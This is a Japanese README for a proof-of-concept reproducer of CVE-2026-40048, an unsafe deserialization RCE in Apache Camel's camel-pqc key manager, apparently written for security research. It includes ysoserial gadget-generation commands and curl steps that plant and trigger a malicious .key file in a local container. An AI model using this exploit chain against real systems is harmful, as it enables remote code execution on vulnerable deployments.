
CVE-2026-40048 の再現コード: Apache Camel camel-pqc FileBasedKeyLifecycleManager の安全でないデシリアライズ (RCE)
このプロジェクトは、Apache Camel の camel-pqc コンポーネントにおける Java デシリアライゼーションの脆弱性(CVE-2026-40048 として追跡)を示しています。FileBasedKeyLifecycleManager は、設定されたキーディレクトリから <keyId>.key ファイルを、生の ObjectInputStream および ObjectInputFilter なしで読み取るため、そのディレクトリに書き込み可能な攻撃者は リモートコード実行 を達成できます。
アドバイザリ: https://camel.apache.org/security/CVE-2026-40048.html
| プロパティ | 値 |
|---|---|
| コンポーネント | camel-pqc |
| 影響を受けるクラス | org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey) |
| CWE | CWE-502: 信頼されていないデータのデシリアライゼーション |
| 影響 | Remote Code Execution (RCE) |
| 影響を受けるバージョン | 4.18.0 から 4.18.2 未満、および 4.19.0 から 4.20.0 未満 |
| 修正バージョン | 4.18.2, 4.20.0 |
| JIRA | CAMEL-23200 |
| 報告者 | Andrea Cosentino (ASF), Venkatraman Kumar (Securin) |
FileBasedKeyLifecycleManager は、耐量子鍵をシリアライズされた Java オブジェクトとして <keyDir>/<keyId>.key に永続化します。鍵の読み込みでは、そのファイルを生の ObjectInputStream でデシリアライズし、KeyPair へのキャストは readObject() が戻った 後に のみ行われます:
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId); // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
KeyPair keyPair = (KeyPair) ois.readObject(); // NO ObjectInputFilter — gadget runs before the cast
...
}
キーディレクトリに書き込み可能な攻撃者(パストラバーサル、誤設定されたボリューム権限、侵害された鍵プロビジョニングパイプライン、シンボリックリンク攻撃などを通じて)は、通常の鍵ライフサイクルロード中に実行される巧妙に細工されたシリアライズオブジェクトを仕掛けることができます。
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
<keyId>.key として配置するcurl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"
docker exec cve-2026-40048 ls -la /tmp/pwned
docker compose down
getKey() は通常の鍵ライフサイクル操作(署名/検証鍵の取得、ローテーションチェックなど)中に呼び出されるため、攻撃者が仕掛けた <keyId>.key を読み込むとデシリアライゼーションがトリガーされます。
FileBasedKeyLifecycleManager が使用するキーディレクトリへの書き込みアクセス(共有/誤設定されたボリューム、パストラバーサル、侵害されたプロビジョニング、シンボリックリンク)。commons-collections:3.2.1)。キーストア内の ObjectInputStream パターンはその後、より広範囲に対処されました:
4.18.2 / 4.20.0 にアップグレードしてください。修正では、ObjectInputStream ベースのストレージを標準の PKCS#8(秘密鍵)/ X.509 SubjectPublicKeyInfo(公開鍵)Base64 JSON エンコーディングに置き換えます。
アップグレードまでの間:
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ └── ExploitController.java # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
└── resources/
└── application.properties
この再現器は、公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテストのみのために提供されています。明示的な許可なくシステムに対して使用しないでください。